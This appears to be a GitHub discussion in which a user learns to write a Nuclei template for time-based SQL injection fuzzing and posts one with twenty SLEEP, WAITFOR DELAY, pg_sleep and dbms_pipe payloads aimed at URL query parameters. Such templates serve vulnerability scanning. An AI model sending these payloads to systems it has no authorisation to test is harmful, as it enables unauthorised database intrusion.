Time-based SQLi fuzzing template!

[nazmul-ethi]

How to create Time-based SQLi fuzzing template?

[princechaddha]

We have a separate repo for fuzzing templates, you can see the example for SQLi fuzzing templates here.

Note: Time-Based SQLi Fuzzing templates can produce false positives because of network delay

Example:

id: time-based-sqli-fuzzing

info:
  name: Time Based SQLi Fuzzing
  author: princechaddha
  severity: high

variables:
  sqli_payload: SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    fuzzing:
      - part: query
        fuzz:
          - "{{sqli_payload}}"

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'

[nazmul-ethi]

Oh, thanks brother! I want to add more payloads here, How can I do it? Please help me!

[princechaddha]

@nazmul-ethi You can add more payloads under fuzz:

        fuzz:
          - "{{sqli_payload}}"
          - "{{sqli_payload2}}"

[nazmul-ethi]

id: time-based-sqli-fuzzing

info:
  name: Time Based SQLi Fuzzing
  author: princechaddha
  severity: high

variables:
  sqli_payload1: orwa' AND (SELECT 6377 FROM (SELECT(SLEEP(5)))hLTl)--
  sqli_payload2: (SlEeP%09(14-(5-2)))
  sqli_payload3: 0')) or sleep(5)='
  sqli_payload4: 0' WAITFOR DELAY '0:0:5'--
  sqli_payload5: 0;waitfor delay '0:0:5'--
  sqli_payload6: 0);waitfor delay '0:0:5'--
  sqli_payload7: 0';waitfor delay '0:0:5'--
  sqli_payload8: 0";waitfor delay '0:0:5'--
  sqli_payload9: 0');waitfor delay '0:0:5'--
  sqli_payload10: 0");waitfor delay '0:0:5'--
  sqli_payload11: 0));waitfor delay '0:0:5'--
  sqli_payload12: 0"XOR(if(now()=sysdate(),sleep(5),0))XOR"Z
  sqli_payload13: 0"XOR(if(now()=sysdate(),sleep(5),0))XOR"Z%20=%3E
  sqli_payload14: 0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z
  sqli_payload15: dbms_pipe.receive_message(('a'),5)--
  sqli_payload16: WAITFOR DELAY '0:0:5'--
  sqli_payload17: SELECT pg_sleep(5)--
  sqli_payload18: SELECT SLEEP(5)-- -
  sqli_payload19: XOR(if(now()=sysdate(),sleep(5),0))XOR
  sqli_payload20: 0'XOR(if(now()=sysdate(),sleep(5),0))XOR

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    fuzzing:
      - part: query
        fuzz:
          - "{{sqli_payload1}}"
          - "{{sqli_payload2}}"
          - "{{sqli_payload3}}"
          - "{{sqli_payload4}}"
          - "{{sqli_payload5}}"
          - "{{sqli_payload6}}"
          - "{{sqli_payload7}}"
          - "{{sqli_payload8}}"
          - "{{sqli_payload9}}"
          - "{{sqli_payload10}}"
          - "{{sqli_payload11}}"
          - "{{sqli_payload12}}"
          - "{{sqli_payload15}}"
          - "{{sqli_payload16}}"
          - "{{sqli_payload17}}"
          - "{{sqli_payload18}}"
          - "{{sqli_payload19}}"
          - "{{sqli_payload20}}"

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          

Is that correct?